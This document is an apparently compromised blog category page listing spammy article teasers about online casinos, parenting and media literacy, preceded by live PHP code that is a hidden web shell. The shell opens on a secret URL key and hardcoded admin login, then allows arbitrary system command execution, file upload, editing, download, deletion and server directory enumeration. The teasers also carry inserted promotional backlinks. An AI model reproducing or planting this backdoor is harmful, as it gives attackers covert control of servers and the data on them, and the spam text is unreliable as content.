if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 48 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Inzetvereisten bij Sportybet Casino Uitgelegd

    In de wereld van online gokken zijn inzetvereisten een cruciaal aspect dat spelers moeten begrijpen voordat ze beginnen met spelen. Bij Sportybet Casino, web page een populaire keuze onder gokliefhebbers, zijn deze vereisten van groot belang. Dit rapport biedt een gedetailleerde uitleg over de inzetvereisten bij Sportybet Casino, zodat spelers goed geïnformeerd hun spelervaring kunnen…

    Click or not…

  • Verantwoord Spelen bij Volerbet Casino: Limieten Instellen

    In de wereld van online gokken is verantwoord spelen een cruciaal aspect dat zowel spelers als aanbieders van kansspelen aangaat. Volerbet Casino, een populaire online goksite, hecht veel waarde aan de bescherming van zijn spelers en biedt verschillende tools en richtlijnen aan om verantwoord spelen te bevorderen. Een van de belangrijkste instrumenten die spelers kunnen…

    Click or not…

  • Як виховати самостійність у дитини з раннього віку

    Виховання самостійності у дитини з раннього віку є однією з найважливіших задач батьків. Самостійність формує у дитини впевненість у собі, https://parentworld.org.ua відповідальність і здатність приймати рішення. У цьому звіті ми розглянемо основні методи та підходи до виховання самостійності у дітей. По-перше, важливо створити середовище, яке сприяє розвитку самостійності. Діти повинні мати можливість досліджувати навколишній світ,…

    Click or not…

  • Підтримка дитини з особливими освітніми потребами

    Підтримка дитини з особливими освітніми потребами є важливим аспектом сучасної освіти, оскільки вона забезпечує рівні можливості для всіх учнів, незалежно від їхніх здібностей чи обмежень. Діти з особливими освітніми потребами (ООП) можуть мати різні труднощі, пов’язані з навчанням, спілкуванням, соціалізацією або фізичним розвитком. Тому важливо розробити індивідуалізований підхід до навчання, kidsplanet.org.ua який враховує унікальні потреби…

    Click or not…

  • Топ хорорів для любителів гострих відчуттів

    Хорор — це жанр, який здатен викликати у глядачів справжній адреналін, занурюючи їх у світ страху, напруги та незабутніх емоцій. Сьогодні ми розглянемо найкращі фільми жахів, які варто переглянути всім любителям гострих відчуттів. Цей список включає як класичні, https://gamesonline.net.ua так і сучасні роботи, що залишили свій слід у серцях фанатів жанру. Першим у нашому списку…

    Click or not…

  • Медіаграмотність: навички, необхідні кожному громадянину

    Медіаграмотність є однією з найважливіших навичок сучасного суспільства, що дозволяє людям ефективно орієнтуватися в інформаційному просторі, критично оцінювати інформацію та робити обґрунтовані рішення. У світі, https://pressdigest.org.ua де інформація поширюється миттєво, а фейки та маніпуляції стають все більш поширеними, медіаграмотність є необхідною умовою для активного і свідомого громадянства. Основними компонентами медіаграмотності є вміння знаходити, оцінювати та…

    Click or not…

  • Jackpot Gokkasten bij Qbet Casino: Waar Vind Je Ze

    Jackpot gokkasten zijn een van de meest populaire spellen in online casino’s, en Qbet Casino vormt hierop geen uitzondering. Dit platform biedt een breed scala aan gokkasten, waaronder een indrukwekkende selectie van jackpot gokkasten die spelers de kans geven om enorme prijzen te winnen. In dit rapport gaan we dieper in op waar je deze…

    Click or not…

  • Jackpot Gokkasten bij Instasino Casino: Waar Vind Je Ze

    Jackpot gokkasten zijn een van de meest populaire vormen van online gokken, en Instasino Casino biedt een uitgebreide selectie van deze spannende spellen. Dit rapport onderzoekt waar je jackpot gokkasten kunt vinden bij Instasino Casino, evenals enkele belangrijke details over deze spellen en hun aantrekkingskracht voor spelers. Instasino Casino is een relatief nieuwe speler in…

    Click or not…

  • Безпека дітей вдома: правила, які варто встановити

    Безпека дітей вдома є одним з найважливіших аспектів виховання і забезпечення комфортного середовища для їхнього розвитку. Діти, особливо в молодшому віці, parentworld.org.ua дуже допитливі і можуть не усвідомлювати небезпеку, тому важливо встановити певні правила і заходи безпеки, щоб мінімізувати ризики. У цьому звіті ми розглянемо основні правила безпеки, які варто впровадити в домашніх умовах. По-перше,…

    Click or not…

  • Free Spins bij TG Casino: De Belangrijkste Feiten

    TG Casino is een populaire online goksite die spelers de mogelijkheid biedt om te genieten van een breed scala aan spellen, waaronder gokkasten, tafelspellen en live casino-ervaringen. Een van de meest aantrekkelijke promoties die TG Casino aanbiedt, zijn de free spins. In dit rapport zullen we de belangrijkste feiten over free spins bij TG Casino…

    Click or not…